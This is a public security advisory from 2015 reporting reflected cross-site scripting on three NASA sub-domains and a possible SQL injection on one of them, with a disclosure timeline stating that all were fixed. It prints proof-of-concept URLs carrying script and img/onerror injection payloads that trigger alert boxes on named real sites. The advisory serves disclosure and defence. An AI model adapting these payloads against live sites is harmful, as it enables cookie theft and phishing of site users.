###################################################################### # Exploit Title: NASA.gov sub-domains Multiple vulnerabilities # Date: 27/01/2015 # Author: Yann CAM @ Synetis - ASafety # Vendor or Software Link: www.nasa.gov # Version: / # Category: Multiple vulnerabilities # Google dork: # Tested on: NASA.gov sub-domains ###################################################################### NASA description : ======================================================================================= The National Aeronautics and Space Administration (NASA) is the United States government agency responsible for the civilian space program as well as aeronautics and aerospace research. There are several sub-domains and independent projects within NASA. Those affected by this advisory are : - Planetary Data System (PDS) : Reflected Cross-Site Scripting (RXSS) - NASAs Archive of Data on Energetic Phenomena (HEASARC) : Reflected Cross-Site Scripting (RXSS) - Direct Readout Laboratory (directreadout) de la NASA : Reflected Cross-Site Scripting (RXSS) and potential SQLi. Vulnerability description : ======================================================================================= Reflected XSS are available in each nasa.gov sub-domain above. Through this kind of vulnerability, an attacker could tamper with page rendering, redirect victims to fake NASA portals, or capture NASA's users credentials such cookies. These reflected XSS are on GET variables and are not properly sanitized before being used in pages. Planetary Data System (PDS) - pds.nasa.gov - PoC : ======================================================================================= A non-persistent XSS (RXSS) in "INSTRUMENT_HOST_ID" GET param is available in the pds.nasa.gov sub-domain. Tested on Firefox 33.0. PoC: http://pds.nasa.gov/ds-view/pds/viewHostProfile.jsp?INSTRUMENT_HOST_ID=NH<img src='x' onerror='alert(/Reflected XSS - Yann CAM @ASAfety/)' /> NASAs Archive of Data on Energetic Phenomena (HEASARC) - heasarc.gsfc.nasa.gov - PoC : ======================================================================================= A non-persistent XSS (RXSS) in "sid" GET param is available in the heasarc.gsfc.nasa.gov sub-domain. Tested on Firefox 33.0. PoC: http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=details&sid=1337<script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653&switch=no http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=oldtests&sid=1337'><script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653 Direct Readout Laboratory (directreadout) - directreadout.sci.gsfc.nasa.gov - PoC : ======================================================================================= A non-persistent XSS (RXSS) and potential SQLi in "cid" GET param is available in the directreadout.sci.gsfc.nasa.gov sub-domain. Tested on Firefox 33.0. PoC: http://directreadout.sci.gsfc.nasa.gov/?id=dspContent&cid=159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' /> Error in source code : Diagnostics:<br> Invalid data 159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' /> for CFSQLTYPE CF_SQL_INTEGER. <br>The error occurred on line 13. Screenshots : ======================================================================================= - http://www.asafety.fr/data/20140824-nasa001.png - http://www.asafety.fr/data/20140824-nasa002.png - http://www.asafety.fr/data/20140824-nasa003.png - http://www.asafety.fr/data/20140824-nasa004.png - http://www.asafety.fr/data/20140824-nasa005.png Solution: ======================================================================================= Fixed by each NASA Portal's team. Additional resources : ======================================================================================= - http://www.nasa.gov/ - http://pds.nasa.gov/ - http://heasarc.gsfc.nasa.gov/ - http://directreadout.sci.gsfc.nasa.gov/ - http://www.asafety.fr/vuln-exploit-poc/contribution-nasa-sous-domaines-multiples-vulnerabilites/ - http://www.synetis.com Report timeline : ======================================================================================= 2014-10-31 : Each NASA Portal's team was alerted by email. 2014-10-31 : PDS team feedback with thanks. 2014-11-04 : PDS and HEASEARC portals fixed. 2014-12-04 : Second email to DRL team to get a status. 2014-12-27 : Account creation on DRL portal to send tp the DRL team through contact form. 2015-01-07 : DRL portal seems to be fixed. All vulnerabilities are fixed on each portal. 2015-01-27 : Public advisory Credits : ======================================================================================= 88888888 88 888 88 88 888 88 88 788 Z88 88 88.888888 8888888 888888 88 8888888. 888888. 88 88 888 Z88 88 88 88 88 88 88 8888888 88 88 88 88 88 88 88 88 888 888 88 88 88 88 88888888888 88 88 888888 88 88 88 8. 88 88 88 88 88 888 888 ,88 8I88 88 88 88 88 88 88 .88 .88 ?8888888888. 888 88 88 88888888 8888 88 =88888888 888. 88 88 www.synetis.com 8888 Consulting firm in management and information security Yann CAM - Security Consultant @ Synetis | ASafety -- SYNETIS | ASafety CONTACT: www.synetis.com | www.asafety.fr